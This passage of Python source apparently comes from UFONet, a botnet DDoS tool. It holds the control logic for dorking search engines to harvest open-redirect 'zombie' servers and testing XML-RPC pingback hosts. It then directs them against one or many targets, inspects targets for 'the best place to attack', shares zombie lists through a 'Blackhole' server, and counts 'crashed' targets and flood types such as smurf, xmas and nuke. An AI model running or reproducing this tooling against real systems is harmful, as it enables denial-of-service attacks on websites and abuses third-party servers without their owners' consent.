  469. lf = open(self.humans_file, 'r')
  470. restored = lf.readlines()
  471. zombies_restored = len(restored)
  472. lf.close()
  473. lz = open(self.zombies_file, 'r')
  474. zombies_army = lz.readlines()
  475. for zombie in zombies_army:
  476. zombies.append(zombie) # add zombies from army to the zombies pool
  477. lz.close()
  478. if len(restored) > 0:
  479. print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  480. if not self.options.forceyes:
  481. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  482. print '-'*25
  483. else:
  484. backup_reply = "Y"
  485. if backup_reply == "n" or backup_reply == "N":
  486. print "\n[Info] [AI] Removing data stored and starting a new search...\n"
  487. os.remove(self.humans_file)
  488. zombies_restored = 0 # flush zombies restored
  489. print '-'*25 + "\n"
  490. else:
  491. print "\n[Info] [AI] Restoring data and starting a new search...\n"
  492. print '-'*25 + "\n"
  493. for zombie in restored:
  494. zombies.append(zombie) # add previous data to zombies pool
  495. if options.allengines:
  496. for e in self.search_engines:
  497. engine = e
  498. print '='*44
  499. print("\n[AI] Searching for zombies using: "+engine+'\n')
  500. print '='*44 + '\n'
  501. self.options.engine = engine
  502. try:
  503. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  504. if zombies_chain != None:
  505. for zombie in zombies_chain:
  506. if zombie not in zombies: # evade possible repetitions
  507. zombies.append(zombie)
  508. except:
  509. if zombies: # backup all new zombies found to file in case of exception
  510. for zombie in zombies:
  511. if zombie+os.linesep not in restored: # only append new zombies found
  512. with open(self.humans_file, "a") as f:
  513. f.write(str(zombie+os.linesep))
  514. else:
  515. if restored:
  516. print '='*44
  517. print("\n[AI] Searching for zombies using: "+engine+"\n")
  518. print '='*44 + '\n'
  519. if restored: # from restored file
  520. try:
  521. zombies_chain = self.search_zombies(dork='', zombies_found=zombies)
  522. if zombies_chain != None:
  523. for zombie in zombies_chain:
  524. if zombie not in zombies: # evade possible repetitions
  525. zombies.append(zombie)
  526. except:
  527. if zombies: # backup all new zombies found to file in case of exception
  528. for zombie in zombies:
  529. if zombie+os.linesep not in restored: # only append new zombies found
  530. with open(self.humans_file, "a") as f:
  531. f.write(str(zombie+os.linesep))
  532. else:
  533. try:
  534. zombies = self.search_zombies(dork='', zombies_found=zombies)
  535. except:
  536. if zombies: # backup all new zombies found to file in case of exception
  537. for zombie in zombies:
  538. if zombie+os.linesep not in restored: # only append new zombies found
  539. with open(self.humans_file, "a") as f:
  540. f.write(str(zombie+os.linesep))
  541. total_restored = zombies_restored
  542. new_zombies = 0 # new zombies counter
  543. f = open(self.zombies_file, 'r')
  544. zz = f.readlines()
  545. f.close()
  546. zombies_found = []
  547. for z in zombies:
  548. if z.endswith(os.linesep):
  549. z = z.replace(os.linesep, "")
  550. if z not in zz and z+os.linesep not in zz:
  551. new_zombies = new_zombies + 1
  552. zombies_found.append(z)
  553. print '='*62
  554. print "\n- Victims found:", len(zombies_found), "\n"
  555. print " - Restored:", total_restored
  556. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  557. print '-'*32
  558. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  559. print '='*62 + '\n'
  560. if len(zombies) > 0:
  561. if not self.options.forceyes:
  562. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  563. print '-'*25
  564. else:
  565. check_backup_reply = "Y"
  566. if check_backup_reply == "n" or check_backup_reply == "N":
  567. if os.path.isfile(self.humans_file):
  568. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  569. print "\n[Info] [AI] Temporal data correctly removed...\n"
  570. else:
  571. with open(self.humans_file, "w") as f:
  572. for z in zombies_found:
  573. if z.endswith(os.linesep):
  574. z = z.replace(os.linesep, "")
  575. if z not in zz or z+os.linesep not in zz:
  576. f.write(z+os.linesep)
  577. f.close()
  578. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  579. print '-'*25 + "\n"
  580. if new_zombies and new_zombies > 0:
  581. if not self.options.forceyes:
  582. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  583. print '-'*25 + "\n"
  584. else:
  585. check_url_link_reply = "Y"
  586. if check_url_link_reply == "n" or check_url_link_reply == "N":
  587. print "[AI] "+self.exit_msg+"\n"
  588. pass
  589. else:
  590. print "\n" + '='*44
  591. test = self.testing(zombies_found)
  592. else:
  593. print "[Info] [AI] NOT any NEW possible zombies found -> [Exiting!]\n"
  594. except Exception:
  595. print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n")
  596. # search for [Zombies] from a list of [Dorks]
  597. if options.dorks:
  598. if options.engine:
  599. engine = options.engine
  600. else:
  601. engine = "yahoo" # default search engine
  602. try:
  603. dorks = self.extract_dorks()
  604. if not dorks:
  605. return
  606. zombies = []
  607. self.banner()
  608. if not os.path.exists(self.humans_file) == True:
  609. f = open(self.humans_file, 'w')
  610. f.close()
  611. lf = open(self.humans_file, 'r')
  612. restored = lf.readlines()
  613. zombies_restored = len(restored)
  614. lf.close()
  615. lz = open(self.zombies_file, 'r')
  616. zombies_army = lz.readlines()
  617. for zombie in zombies_army:
  618. zombies.append(zombie) # add zombies from army to the zombies pool
  619. lz.close()
  620. if len(restored) > 0:
  621. print "\n[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  622. if not self.options.forceyes:
  623. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  624. print '-'*25
  625. else:
  626. backup_reply = "Y"
  627. if backup_reply == "n" or backup_reply == "N":
  628. print "\n[Info] [AI] Removing data stored and starting a new search...\n"
  629. os.remove(self.humans_file)
  630. zombies_restored = 0 # flush zombies restored
  631. print '-'*25 + "\n"
  632. else:
  633. print "\n[Info] [AI] Restoring data and starting a new search...\n"
  634. print '-'*25 + "\n"
  635. for zombie in restored:
  636. zombies.append(zombie) # add previous data to zombies pool
  637. total_restored = zombies_restored
  638. if options.allengines:
  639. for e in self.search_engines:
  640. engine = e
  641. print '='*44
  642. print("\n[AI] Searching for zombies using: "+engine+ " [from a list of [Dorks]]\n")
  643. print '='*44 + '\n'
  644. self.options.engine = engine
  645. for dork in dorks:
  646. print '='*22
  647. print "Dork:", dork
  648. print '='*22 + '\n'
  649. try:
  650. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  651. for zombie in dorked_zombies:
  652. if zombie not in zombies: # evade repetitions for zombies found
  653. zombies.append(zombie)
  654. if zombie+os.linesep not in restored: # only append new zombies found
  655. with open(self.humans_file, "a") as f:
  656. f.write(str(zombie+os.linesep))
  657. f.close()
  658. except:
  659. if zombies: # backup new zombies found on exception
  660. for zombie in zombies:
  661. if zombie+os.linesep not in restored: # only append new zombies found
  662. with open(self.humans_file, "a") as f:
  663. f.write(str(zombie+os.linesep))
  664. f.close()
  665. else:
  666. if restored:
  667. print '='*44
  668. print("\n[AI] Searching for zombies using: "+engine+ " from a list of [Dorks]\n")
  669. print '='*44 + '\n'
  670. for dork in dorks:
  671. print '='*22
  672. print "Dork:", dork
  673. print '='*22 + '\n'
  674. try:
  675. dorked_zombies = self.search_zombies(dork, zombies) # AI mode
  676. if dorked_zombies != None:
  677. for zombie in dorked_zombies:
  678. if zombie not in zombies: # evade repetitions for zombies found
  679. zombies.append(zombie)
  680. except:
  681. if zombies: # backup new zombies found on exception
  682. for zombie in zombies:
  683. if zombie+os.linesep not in restored: # only append new zombies found
  684. with open(self.humans_file, "a") as f:
  685. f.write(str(zombie+os.linesep))
  686. f.close()
  687. new_zombies = 0 # new zombies counter
  688. f = open(self.zombies_file, 'r')
  689. zz = f.readlines()
  690. f.close()
  691. zombies_found = []
  692. for z in zombies:
  693. if z.endswith(os.linesep):
  694. z = z.replace(os.linesep, "")
  695. if z not in zz and z+os.linesep not in zz:
  696. new_zombies = new_zombies + 1
  697. zombies_found.append(z)
  698. print '='*62
  699. print "\n- Victims found:", len(zombies_found), "\n"
  700. print " - Restored:", total_restored
  701. print " - Dorked:", len(zombies_found) - total_restored, "\n"
  702. print '-'*32
  703. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  704. print '='*62 + '\n'
  705. if len(zombies_found) > 0:
  706. if not self.options.forceyes:
  707. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  708. print '-'*25
  709. else:
  710. check_backup_reply = "Y"
  711. if check_backup_reply == "n" or check_backup_reply == "N":
  712. if os.path.isfile(self.humans_file):
  713. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  714. print "\n[Info] [AI] Temporal data correctly removed...\n"
  715. else:
  716. with open(self.humans_file, "w") as f:
  717. for z in zombies_found:
  718. if z.endswith(os.linesep):
  719. z = z.replace(os.linesep, "")
  720. if z not in zz or z+os.linesep not in zz:
  721. f.write(z+os.linesep)
  722. f.close()
  723. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  724. print '-'*25 + "\n"
  725. if new_zombies and new_zombies > 0:
  726. if not self.options.forceyes:
  727. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  728. print '-'*25 + "\n"
  729. else:
  730. check_url_link_reply = "Y"
  731. if check_url_link_reply == "n" or check_url_link_reply == "N":
  732. print "[AI] "+self.exit_msg+"\n"
  733. pass
  734. else:
  735. print "\n" + '='*44
  736. test = self.testing(zombies_found)
  737. else:
  738. print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n"
  739. except Exception:
  740. print ("\n[Error] [AI] Something wrong searching using: "+engine+"\n")
  741. # auto-search for [Zombies] (dorks+all_engines+time -> to discover max new zombies)
  742. if options.autosearch:
  743. try:
  744. dorks = self.extract_dorks()
  745. except:
  746. print "\n[Info] [AI] Not any dork present at: 'botnet/dorks.txt' -> [Aborting!]\n"
  747. return
  748. engines_list = self.search_engines
  749. stop_flag = False # use a flag to establish an end
  750. try:
  751. self.banner()
  752. print "\n[AI] Searching automatically for [Zombies] (WARNING: this may take several time!)\n"
  753. print "[Info] Try to use CTRL+z (on shell) to STOP IT! ;-)\n"
  754. print '-'*25 + "\n"
  755. zombies_found = []
  756. lz = open(self.zombies_file, 'r')
  757. zombies_army = lz.readlines()
  758. for zombie in zombies_army:
  759. zombies_found.append(zombie) # add zombies from army to the zombies found pool
  760. lz.close()
  761. if not os.path.exists(self.humans_file) == True:
  762. f = open(self.humans_file, 'w')
  763. f.close()
  764. lf = open(self.humans_file, 'r')
  765. restored = lf.readlines()
  766. zombies_restored = len(restored)
  767. lf.close()
  768. if len(restored) > 0:
  769. print "[Info] [AI] You have [" + str(len(restored)) + " possible zombies] stored from a previous search...\n"
  770. if not self.options.forceyes:
  771. backup_reply = raw_input("[AI] Do you want to resume it? (NOTE: If not, this DATA will be REMOVED) (Y/n)\n")
  772. print '-'*25
  773. else:
  774. backup_reply = "Y"
  775. if backup_reply == "n" or backup_reply == "N":
  776. print "\n[Info] [AI] Removing data stored and starting a new (auto)search...\n"
  777. os.remove(self.humans_file)
  778. zombies_restored = 0 # flush zombies restored
  779. print '-'*25 + "\n"
  780. else:
  781. print "\n[Info] [AI] Restoring data and starting a new (auto)search...\n"
  782. print '-'*25 + "\n"
  783. for zombie in restored:
  784. zombies_found.append(zombie) # add previous data to zombies found pool
  785. total_restored = zombies_restored
  786. while stop_flag == False:
  787. if not os.path.exists(self.humans_file) == True:
  788. f = open(self.humans_file, 'w')
  789. f.close()
  790. lf = open(self.humans_file, 'r') # read it on each iteration to update changes
  791. restored = lf.readlines()
  792. lf.close()
  793. zombies_restored = len(restored)
  794. for e in engines_list:
  795. zombies_counter = 0 # use it also as (engine) flag
  796. engine = e
  797. self.options.engine = engine
  798. print '='*44 + '\n'
  799. print("[AI] Searching for zombies using: "+engine+'\n')
  800. print '='*44 + '\n'
  801. for dork in dorks:
  802. print '='*22
  803. print "Dork:", dork
  804. print '='*22 + '\n'
  805. try:
  806. dorked_zombies = self.search_zombies(dork, zombies_found) # AI mode
  807. for zombie in dorked_zombies:
  808. if zombie not in zombies_found: # evade repetitions for zombies found
  809. zombies_found.append(zombie)
  810. if zombie+os.linesep not in restored: # only append new zombies found
  811. with open(self.humans_file, "a") as f:
  812. f.write(str(zombie+os.linesep))
  813. f.close()
  814. zombies_counter = zombies_counter + 1
  815. except:
  816. if zombies_found: # backup new zombies found on exception
  817. for zombie in zombies_found:
  818. if zombie+os.linesep not in restored: # only append new zombies found
  819. with open(self.humans_file, "a") as f:
  820. f.write(str(zombie+os.linesep))
  821. f.close()
  822. if zombies_counter == 0:
  823. print "[Info] [AI] NOT more NEW victims found (by the moment) using: "+engine+" -> [Discarding!]\n"
  824. print '-'*25 + "\n"
  825. engines_list.remove(engine) # remove not more results engine from search engines list
  826. if not engines_list: # if search engines empty, call return-exit routine
  827. print "[Info] [AI] Search engines aren't providing more results -> [Exiting!]\n"
  828. print '-'*25 + "\n"
  829. stop_flag = True # exit flag up
  830. new_zombies = 0 # new zombies counter
  831. f = open(self.zombies_file, 'r')
  832. zz = f.readlines()
  833. f.close()
  834. all_zombies_found = []
  835. for z in zombies_found:
  836. if z.endswith(os.linesep):
  837. z = z.replace(os.linesep, "")
  838. if z not in zz and z+os.linesep not in zz:
  839. new_zombies = new_zombies + 1
  840. all_zombies_found.append(z)
  841. print '='*62
  842. print "\n- Victims found:", len(all_zombies_found), "\n"
  843. print " - Restored:", total_restored
  844. print " - Dorked:", len(all_zombies_found) - total_restored, "\n"
  845. print '-'*32
  846. print "\n- NEW possible zombies (NOT present in your army):", new_zombies, "\n"
  847. print '='*62 + '\n'
  848. if len(zombies_found) > 0:
  849. if not self.options.forceyes:
  850. check_backup_reply = raw_input("[AI] Do you want to save the results for a future search? (Y/n)\n")
  851. print '-'*25
  852. else:
  853. check_backup_reply = "Y"
  854. if check_backup_reply == "n" or check_backup_reply == "N":
  855. if os.path.isfile(self.humans_file):
  856. os.remove(self.humans_file) # remove search backup file (keeping love from shadows!)
  857. print "\n[Info] [AI] Temporal data correctly removed...\n"
  858. else:
  859. with open(self.humans_file, "w") as f:
  860. for z in all_zombies_found:
  861. if z.endswith(os.linesep):
  862. z = z.replace(os.linesep, "")
  863. if z not in zz or z+os.linesep not in zz:
  864. f.write(z+os.linesep)
  865. f.close()
  866. print "\n[Info] [AI] Correctly saved at: 'botnet/humans.txt'\n"
  867. print '-'*25 + "\n"
  868. if new_zombies and new_zombies > 0:
  869. if not self.options.forceyes:
  870. check_url_link_reply = raw_input("[AI] Do you want to check if NEW possible zombies are valid? (Y/n)\n")
  871. print '-'*25 + "\n"
  872. else:
  873. check_url_link_reply = "Y"
  874. if check_url_link_reply == "n" or check_url_link_reply == "N":
  875. print "[AI] "+self.exit_msg+"\n"
  876. pass
  877. else:
  878. print "\n" + '='*44
  879. test = self.testing(all_zombies_found)
  880. else:
  881. print "[Info] [AI] NOT any NEW possible zombies found! -> [Exiting!]\n"
  882. except Exception:
  883. print ("[Error] [AI] Something wrong (auto)searching...\n")
  884. # test web 'zombie' servers -> show statistics
  885. if options.test:
  886. try:
  887. self.banner()
  888. zombies = self.extract_zombies()
  889. if not zombies:
  890. return
  891. test = self.testing(zombies)
  892. self.update_missions_stats() # update mothership missions stats
  893. except Exception:
  894. print ("\n[Error] [AI] Something wrong testing!\n")
  895. if self.options.verbose:
  896. traceback.print_exc()
  897. # test XML-'rpc' pingback vulnerable servers -> update list
  898. if options.testrpc:
  899. try:
  900. self.banner()
  901. rpcs = self.extract_rpcs()
  902. if not rpcs:
  903. return
  904. testrpc = self.testing_rpcs(rpcs)
  905. self.update_missions_stats() # update mothership missions stats
  906. except Exception:
  907. print ("\n[Error] [AI] Something wrong testing X-RPCs!\n")
  908. if self.options.verbose:
  909. traceback.print_exc()
  910. # check botnet searching for zombies offline
  911. if options.testoffline:
  912. try:
  913. self.banner()
  914. testbotnet = self.testing_offline()
  915. self.update_missions_stats() # update mothership missions stats
  916. except Exception:
  917. print ("\n[Error] [AI] Something wrong checking for offline [Zombies]!\n")
  918. if self.options.verbose:
  919. traceback.print_exc()
  920. # check ALL botnet status
  921. if options.testall:
  922. try:
  923. self.banner()
  924. test_all_botnet = self.testing_all()
  925. self.update_missions_stats() # update mothership missions stats
  926. except Exception:
  927. print ("\n[Error] [AI] Something wrong testing ALL botnet status!\n")
  928. if self.options.verbose:
  929. traceback.print_exc()
  930. # attack target -> exploit Open Redirect massively and conduct vulnerable servers to a single target
  931. if options.target:
  932. try:
  933. self.banner()
  934. zombies = self.extract_zombies()
  935. if not zombies:
  936. return
  937. attack = self.attacking(zombies, options.target)
  938. self.update_missions_stats() # update mothership missions stats
  939. except Exception:
  940. print ("\n[Error] [AI] Something wrong attacking!\n")
  941. if self.options.verbose:
  942. traceback.print_exc()
  943. # attack a list of targets -> exploit Open Redirect massively and conduct vulnerable servers to multiple targets
  944. if options.target_list:
  945. try:
  946. self.banner()
  947. zombies = self.extract_zombies()
  948. if not zombies:
  949. return
  950. targets = self.extract_target_list()
  951. if not targets:
  952. print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n"
  953. return
  954. self.options.forceyes = True # force-yes ON!
  955. self.num_target_list = 0
  956. print "\n[AI] Checking integrity of targets...\n"
  957. for t in targets: # start of code block dedicated to: Guido van Rossum [23/12/2018]
  958. if not t.startswith("http"): # discarded inmediately
  959. print "[Info] [AI] [Control] " + str(t) + " -> [Discarding!]"
  960. targets.remove(t) # ¿remove? invalid targets
  961. print ""
  962. c = 0
  963. for target in targets:
  964. if target == "":
  965. c = c + 1
  966. else:
  967. self.num_target_list = self.num_target_list + 1
  968. if c == len(targets):
  969. print "\n[Error] [AI] You haven't any valid [Target] to be extracted from: "+str(options.target_list)+" -> [Exiting!]\n"
  970. return # end of code block dedicated to: Guido van Rossum [23/12/2018]
  971. else:
  972. for target in targets:
  973. print '='*55 + "\n"
  974. print "[Info] [AI] Aiming: " + str(target) + " -> [OK!]\n"
  975. print "="*55
  976. self.options.target = target
  977. attack = self.attacking(zombies, target)
  978. self.update_missions_stats() # update mothership missions stats (each target counts)
  979. except Exception:
  980. print ("\n[Error] [AI] Something wrong attacking to multiple targets!\n")
  981. if self.options.verbose:
  982. traceback.print_exc()
  983. # inspect target -> inspect target's components sizes
  984. if options.inspect:
  985. try:
  986. self.banner()
  987. print("\n[AI] Inspecting target to find the best place to attack... SSssh!\n")
  988. print '='*22 + '\n'
  989. self.instance = Inspector(self) # instance main class for inspection operations
  990. inspection = self.instance.inspecting(options.inspect)
  991. self.update_missions_stats() # update mothership missions stats
  992. except Exception, e:
  993. print ("\n[Error] [AI] Something wrong inspecting... Not any object found!\n")
  994. if self.options.verbose:
  995. traceback.print_exc()
  996. return #sys.exit(2)
  997. # abduct target -> examine target's webserver configuration (banner grabbing, anti-ddos, etc.)
  998. if options.abduction:
  999. try:
  1000. self.banner()
  1001. print("\n[AI] Abducting target to extract interesting information... Be patient!\n")
  1002. print '='*22 + '\n'
  1003. self.instance = Abductor(self) # instance main class for abduction operations
  1004. abduction = self.instance.abducting(options.abduction)
  1005. self.update_missions_stats() # update mothership missions stats
  1006. except Exception, e:
  1007. print ("\n[Error] [AI] Something wrong abducting... Not any data stream found!\n")
  1008. if self.options.verbose:
  1009. traceback.print_exc()
  1010. return #sys.exit(2)
  1011. # attack me -> exploit Open Redirect massively and connect all vulnerable servers to master for benchmarking
  1012. if options.attackme:
  1013. self.mothership_id = self.mothership_id[:25] # truncating anti-formats ;-)
  1014. try:
  1015. self.banner()
  1016. print("\n[AI] Ordering [Zombies] to attack you for benchmarking ;-)\n")
  1017. print("[Warning] You are going to reveal your real IP to [Zombies]!\n")
  1018. if not self.options.forceyes:
  1019. update_reply = raw_input("[AI] Do you want to continue? (Y/n)")
  1020. else:
  1021. update_reply = "Y"
  1022. if update_reply == "n" or update_reply == "N":
  1023. print "\n[Info] [AI] [Control] Aborting 'Attack-Me' test... -> [Exiting!]\n"
  1024. return
  1025. self.mothership_hash = str(random.getrandbits(128)) # generating random evasion hash
  1026. print "\nMothership ID: " + self.mothership_id + "RND: " + self.mothership_hash
  1027. print("\n[AI] Checking NAT/IP configuration:\n")
  1028. nat = self.check_nat()
  1029. f = open("alien", "w") # generate random alien worker
  1030. f.write(str(self.mothership_hash))
  1031. f.close()
  1032. if self.nat_error_flag == "ON":
  1033. return
  1034. zombies = self.extract_zombies()
  1035. if not zombies:
  1036. return
  1037. attackme = self.attackme(zombies)
  1038. self.update_missions_stats() # update mothership missions stats
  1039. except Exception, e:
  1040. print ("\n[Error] [AI] Something wrong redirecting [Zombies] against you...\n")
  1041. if self.options.verbose:
  1042. traceback.print_exc()
  1043. return #sys.exit(2)
  1044. # check/update for latest stable version
  1045. if options.update:
  1046. self.banner()
  1047. try:
  1048. print("\n[AI] Trying to update automatically to the latest stable version\n")
  1049. Updater()
  1050. except:
  1051. print "Not any .git repository found!\n"
  1052. print "="*30
  1053. print "\nTo have working this feature, you should clone UFONet with:\n"
  1054. print "$ git clone %s" % self.GIT_REPOSITORY
  1055. print "\nAlso you can try this other mirror:\n"
  1056. print "$ git clone %s" % self.GIT_REPOSITORY2 + "\n"
  1057. # launch GUI/Web interface
  1058. if options.web:
  1059. self.create_web_interface()
  1060. return
  1061. # generate [Blackhole] server to share [Zombies]
  1062. if options.blackhole is not None:
  1063. self.banner()
  1064. try:
  1065. blackhole_lib = os.path.abspath(os.path.join('..', 'server')) # add [Blackhole] lib
  1066. sys.path.append(blackhole_lib)
  1067. from server.blackhole import BlackHole
  1068. print("\n[AI] Initiating void generation sequence...\n")
  1069. print '='*22 + '\n'
  1070. app = BlackHole()
  1071. app.start()
  1072. while True: time.sleep(1)
  1073. except KeyboardInterrupt:
  1074. print("\n[AI] Terminating void generation sequence...\n")
  1075. app.collapse()
  1076. except Exception, e:
  1077. print "[Error] "+str(e)
  1078. print("\n[AI] Something was wrong generating [Blackhole]. Aborting...\n")
  1079. # download list of [Zombies] from a [Blackhole] IP
  1080. if options.dip is not None:
  1081. options.download = True
  1082. self.blackhole = options.dip
  1083. # download list of [Zombies] from server
  1084. if options.download:
  1085. try:
  1086. self.banner()
  1087. if options.dip is not None:
  1088. print("\n[AI] Downloading list of [Zombies] from server "+self.blackhole+" ...\n")
  1089. else:
  1090. print("\n[AI] Downloading list of [Zombies] from server ...\n")
  1091. print '='*22 + '\n'
  1092. download_list = self.downloading_list()
  1093. except Exception, e:
  1094. print ("\n[Error] [AI] Something wrong downloading! -> [Exiting!]\n")
  1095. return
  1096. # upload list of [Zombies] to a [Blackhole] IP
  1097. if options.upip is not None:
  1098. options.upload = True
  1099. self.blackhole = options.upip
  1100. # upload list of [Zombies] to server
  1101. if options.upload:
  1102. try:
  1103. self.banner()
  1104. if options.upip is not None:
  1105. print("\n[AI] Uploading list of [Zombies] to server "+self.blackhole+" ...\n")
  1106. else:
  1107. print("\n[AI] Uploading list of [Zombies] to server ...\n")
  1108. print '='*22 + '\n'
  1109. upload_list = self.uploading_list()
  1110. except Exception, e:
  1111. print ("[Error] [AI] Something wrong uploading! "+str(e)+" -> [Exiting!]\n")
  1112. if self.options.verbose:
  1113. traceback.print_exc()
  1114. return #sys.exit(2)
  1115. # starting new zombie thread
  1116. def connect_zombies(self, zombie):
  1117. z=Zombie(self, zombie)
  1118. t = threading.Thread(target=z.connect, name=zombie)
  1119. t.start()
  1120. # single connection handling
  1121. def connect_zombie(self, zombie):
  1122. z=Zombie(self,zombie)
  1123. return z.connect()
  1124. def extract_proxy(self, proxy):
  1125. sep = ":"
  1126. proxy_ip = proxy.rsplit(sep, 1)[0]
  1127. if proxy_ip.startswith('http://'):
  1128. proxy_ip = proxy_ip.replace('http://', '')
  1129. elif proxy_ip.startswith('https://'):
  1130. proxy_ip = proxy_ip.replace('https://', '')
  1131. if proxy_ip == '127.0.0.1': # working by using 'localhost' as http proxy (privoxy, ...)
  1132. proxy_ip = 'localhost'
  1133. proxy_port = proxy.rsplit(sep, 1)[1]
  1134. proxy_url = proxy_ip + ":" + proxy_port # ex: localhost:8118
  1135. return proxy_url
  1136. def proxy_transport(self, proxy):
  1137. proxy_url = self.extract_proxy(proxy)
  1138. proxy = urllib2.ProxyHandler({'https': proxy_url})
  1139. opener = urllib2.build_opener(proxy)
  1140. urllib2.install_opener(opener)
  1141. def check_mothership_chargo(self):
  1142. f = open(self.zombies_file)
  1143. self.zombies = f.readlines()
  1144. self.zombies = [zombie.replace('\n', '') for zombie in self.zombies]
  1145. self.list_zombies = []
  1146. for zombie in self.zombies:
  1147. t = urlparse(zombie)
  1148. name_zombie = t.netloc
  1149. if name_zombie == "":
  1150. name_zombie = zombie
  1151. self.list_zombies.append(name_zombie)
  1152. self.num_zombies = str(len(self.zombies))
  1153. f.close()
  1154. f = open(self.aliens_file)
  1155. self.aliens = f.readlines()
  1156. self.aliens = [alien.replace('\n', '') for alien in self.aliens]
  1157. self.list_aliens = []
  1158. for alien in self.aliens:
  1159. t = urlparse(alien)
  1160. name_alien = t.netloc
  1161. if name_alien == "":
  1162. name_alien = alien
  1163. self.list_aliens.append(name_alien)
  1164. self.num_aliens = str(len(self.aliens))
  1165. f.close()
  1166. f = open(self.droids_file)
  1167. self.droids = f.readlines()
  1168. self.droids = [droid.replace('\n', '') for droid in self.droids]
  1169. self.list_droids = []
  1170. for droid in self.droids:
  1171. t = urlparse(droid)
  1172. name_droid = t.netloc
  1173. if name_droid == "":
  1174. name_droid = droid
  1175. self.list_droids.append(name_droid)
  1176. self.num_droids = str(len(self.droids))
  1177. f.close()
  1178. f = open(self.ucavs_file)
  1179. self.ucavs = f.readlines()
  1180. self.ucavs = [ucav.replace('\n', '') for ucav in self.ucavs]
  1181. self.list_ucavs = []
  1182. for ucav in self.ucavs:
  1183. t = urlparse(ucav)
  1184. name_ucav = t.netloc
  1185. if name_ucav == "":
  1186. name_ucav = ucav
  1187. self.list_ucavs.append(name_ucav)
  1188. self.num_ucavs = str(len(self.ucavs))
  1189. f.close()
  1190. f = open(self.rpcs_file)
  1191. self.rpcs = f.readlines()
  1192. self.rpcs = [rpc.replace('\n', '') for rpc in self.rpcs]
  1193. self.list_rpcs = []
  1194. for rpc in self.rpcs:
  1195. t = urlparse(rpc)
  1196. name_rpc = t.netloc
  1197. if name_rpc == "":
  1198. name_rpc = rpc
  1199. self.list_rpcs.append(name_rpc)
  1200. self.num_rpcs = str(len(self.rpcs))
  1201. f.close()
  1202. self.total_botnet = str(int(self.num_zombies) + int(self.num_aliens) + int(self.num_droids) + int(self.num_ucavs) + int(self.num_rpcs))
  1203. return self.total_botnet
  1204. def update_flying_stats(self):
  1205. if not os.path.exists(self.mothership_stats_file) == True: # create data when no stats file (first time used)
  1206. with open(self.mothership_stats_file, "w") as f:
  1207. json.dump({"flying": "0", "missions": "0", "scanner": "0", "transferred": "0", "max_chargo": "0", "completed": "0", "loic": "0", "loris": "0", "ufosyn": "0", "spray": "0", "smurf": "0", "xmas": "0", "nuke": "0", "crashed": "0"}, f, indent=4) # starting reset
  1208. stats_json_file = open(self.mothership_stats_file, "r")
  1209. data = json.load(stats_json_file)
  1210. stats_json_file.close()
  1211. aflying = data["flying"]
  1212. aflying = str(int(aflying) + 1) # add new flying time
  1213. data["flying"] = aflying
  1214. stats_json_file = open(self.mothership_stats_file, "w+")
  1215. stats_json_file.write(json.dumps(data))
  1216. stats_json_file.close()
  1217. def update_mothership_stats(self):
  1218. stats_json_file = open(self.mothership_stats_file, "r")
  1219. data = json.load(stats_json_file)
  1220. stats_json_file.close()
  1221. acompleted = data["completed"]
  1222. acompleted = str(int(acompleted) + 1) # add new completed attack
  1223. data["completed"] = acompleted
  1224. stats_json_file = open(self.mothership_stats_file, "w+")
  1225. stats_json_file.write(json.dumps(data))
  1226. stats_json_file.close()
  1227. def update_targets_crashed(self):
  1228. stats_json_file = open(self.mothership_stats_file, "r")
  1229. data = json.load(stats_json_file)
  1230. stats_json_file.close()
  1231. tcrashed = data["crashed"]
  1232. tcrashed = str(int(tcrashed) + 1) # add new crashed target
  1233. data["crashed"] = tcrashed
  1234. stats_json_file = open(self.mothership_stats_file, "w+")
  1235. stats_json_file.write(json.dumps(data))
  1236. stats_json_file.close()
  1237. def update_missions_stats(self):
  1238. stats_json_file = open(self.mothership_stats_file, "r")
  1239. data = json.load(stats_json_file)
  1240. stats_json_file.close()
  1241. missions = data["missions"]
  1242. missions = str(int(missions) + 1) # add new mission target
  1243. data["missions"] = missions
  1244. stats_json_file = open(self.mothership_stats_file, "w+")
  1245. stats_json_file.write(json.dumps(data))
  1246. stats_json_file.close()
  1247. def update_scanner_stats(self, num):
  1248. stats_json_file = open(self.mothership_stats_file, "r")
  1249. data = json.load(stats_json_file)
  1250. stats_json_file.close()
  1251. scanner = data["scanner"]
  1252. scanner = str(int(scanner) + int(num)) # add new zombies found by dorking to mothership stats
  1253. data["scanner"] = scanner
  1254. stats_json_file = open(self.mothership_stats_file, "w+")
  1255. stats_json_file.write(json.dumps(data))
  1256. stats_json_file.close()
  1257. def update_transferred_stats(self, num):
  1258. stats_json_file = open(self.mothership_stats_file, "r")
  1259. data = json.load(stats_json_file)
  1260. stats_json_file.close()
  1261. transferred = data["transferred"]
  1262. transferred = str(int(transferred) + int(num)) # add new zombies found by downloading via blackholes to mothership stats
  1263. data["transferred"] = transferred
  1264. stats_json_file = open(self.mothership_stats_file, "w+")
  1265. stats_json_file.write(json.dumps(data))
  1266. stats_json_file.close()
  1267. def update_max_chargo(self, chargo):
  1268. stats_json_file = open(self.mothership_stats_file, "r")
  1269. data = json.load(stats_json_file)
  1270. stats_json_file.close()
  1271. amax_chargo = data["max_chargo"]
